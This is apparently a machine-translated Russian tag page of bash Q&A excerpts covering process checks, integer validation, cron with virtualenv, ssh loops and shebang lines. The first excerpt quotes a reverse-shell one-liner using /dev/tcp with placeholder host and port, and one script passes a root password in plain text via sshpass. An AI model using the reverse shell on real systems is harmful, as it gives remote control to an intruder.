Tag: bash

Значение bash -i> & / dev / tcp / HOST / PORT 0> & 1?

Я пробовал этот bash -i >& /dev/tcp/HOST/PORT 0>&1 , но он не работает за брандмауэром. Что делает этот код на самом деле, какие порты пересылаются и могут ли они работать за fiewall?

Способ Bash проверить, запущен ли процесс в фоновом режиме (и пропустить повторное выполнение на основе этого)?

Могу ли я сделать командную строку bash, которая выполняет только определенную команду, если процесс еще не запущен (в фоновом режиме)? Как проверить *, если команда уже запущена? (поэтому я могу добавить следующую команду с && между ними, чтобы следующий выполнялся, только если первый – это правда). *: проверить, определить, обнаружить, узнать

Как скрипт Bash может сказать, как он был запущен?

У меня есть сценарий Bash, который я пытался сделать, чтобы помочь мне запустить довольно сложную команду с небольшими изменениями, которые она спросит меня об эхом и чтении. Я нашел решения, чтобы заставить его запускать терминал для выполнения команды, но меня это не интересует. Я бы хотел, чтобы это было, если я просто выскользнул и просто […]

Проверка, является ли входной номер целым числом

Я пытаюсь проверить, является ли ввод целочисленным, и я перешагнул его сто раз, но не вижу ошибки в этом. Увы, он не работает, он запускает оператор if для всех входов (цифр / букв) read scale if ! [[ "$scale" =~ "^[0-9]+$" ]] then echo "Sorry integers only" fi Я играл с кавычками, но либо пропустил, […]

Выполнение почтовой команды внутри функции вызывает «вилку»,

Когда я пытаюсь выполнить mail изнутри функции в сценарии bash, она создает нечто похожее на вилку. Для уточнения это создает проблему: #!/bin/bash mail() { echo "Free of oxens" | mail -s "Do you want to play chicken with the void?" "example@example.org" } mail exit 0 Иногда вы можете просто убить команду, и она убьет дочерние […]

Что такое * .sorted команда и почему она не работает в моем bash?

В Bash Guide for Beginners ( раздел 3.2.1.2. Локальные переменные ) есть примерная команда, которая должна отображать все локальные переменные, которые не входят в переменные окружения, или, как я полагаю, diff set.sorted printenv.sorted | grep "<" | awk '{ print $2 }' Теперь я считаю, что я все понимаю об этой команде, кроме *.sorted part. […]

Как активировать Virtualenv при запуске скрипта Python?

Я хочу запланировать запуск скрипта python с помощью cron в определенные даты, проблема в том, что для того, чтобы example.py работал, example-env должен быть активирован, есть ли способ сделать example.py активировать свой собственный virtualenv всякий раз cron выполнить его? если нет, то мне нужно создать bash-скрипт bash.sh который содержит #!/usr/bin/env bash workon example-env python2 example.py […]

Сценарий для ssh и запуск команды не работает

Ниже приведен сценарий. Я хотел войти в систему на нескольких серверах и проверить версию ядра. #!/bin/bash #input server names line by line in server.txt cat server.txt | while read line do sshpass -p password ssh root@$line << EOF hostname uname -r EOF done Я бы ожидал вывода, который идет как .. server1_hostname kernel_version server2_hostname kernel_version […]

В чем разница, если я начинаю bash с «/ bin / bash» или «/ usr / bin / env bash»?

В сценариях оболочки указывается интерпретатор языка на строке shebang ( #! ). Насколько мне известно, рекомендуется использовать #!/usr/bin/env bash поскольку env всегда находится в каталоге /usr/bin а местоположение bash может отличаться от системы к системе. Однако существуют ли технические различия, если bash запускается непосредственно с /bin/bash или с помощью утилиты env ? Кроме того, могу […]

Parenthesis работает в оболочке bash, но не в скрипте bash

Как говорится в названии, я могу запустить эту команду из командной строки: cp -r folder/!(exclude-me) ./ Чтобы рекурсивно скопировать все содержимое folder кроме подкаталога с именем exclude-me в текущий каталог. Это работает точно так, как предполагалось. Тем не менее, мне нужно это для работы в сценарии bash, который я написал, где у меня есть это: […]

Linux и Unix - лучшая ОС в мире.